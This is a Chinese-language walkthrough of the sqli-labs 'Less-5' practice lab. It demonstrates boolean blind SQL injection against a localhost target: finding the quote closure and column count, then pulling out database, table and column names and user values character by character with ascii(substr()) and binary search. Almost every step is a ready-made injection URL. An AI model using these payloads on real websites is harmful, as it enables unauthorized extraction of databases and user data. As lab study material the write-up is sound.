less-5
第一步:
http://localhost/sqli/Less-5/?id=1’ 得到错误’1’’
因此单引号闭合使用order by http://localhost/sqli/Less-5/?id=1’ order by 3–+
得到字段数为3
第二步:
页面没有回显,进行bool盲注测试
爆破数据库:
?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))<100–+
?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))<110–+
?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))<105–+
?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))<106–+
得到ascii的值为105,通过ipython 得到原字母
substr(a,b,c) select substr() XXXX substr(a,b,c)从位置b开始,截取a字符串c位长度
所以第二个字符的判断方法为:?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))<106–+
以此类推,当id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))=0–+数据库名判断完毕
limit 0,1; 其中第一位是从第几个开始,比如0代表从第一个开始,而第二位的1代表就是显示多少个数据
所以第二个数据库判断方法为:?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))<106–+
同样使用二分法得到数据库名
?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))<1000–+ 修改此语句的limit 1,1来判断有多少个数据库
爆破表名
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),1,1))>1–+
爆破字段
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1,1)) >1 --+
爆破字段值
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select username from security.users limit 1,1),1,1))>1–+继续猜解即可得到字段内的值。
爆破表名和字段名与爆破数据库方法类似,字段值只需要爆破出一组即可
less6与5类似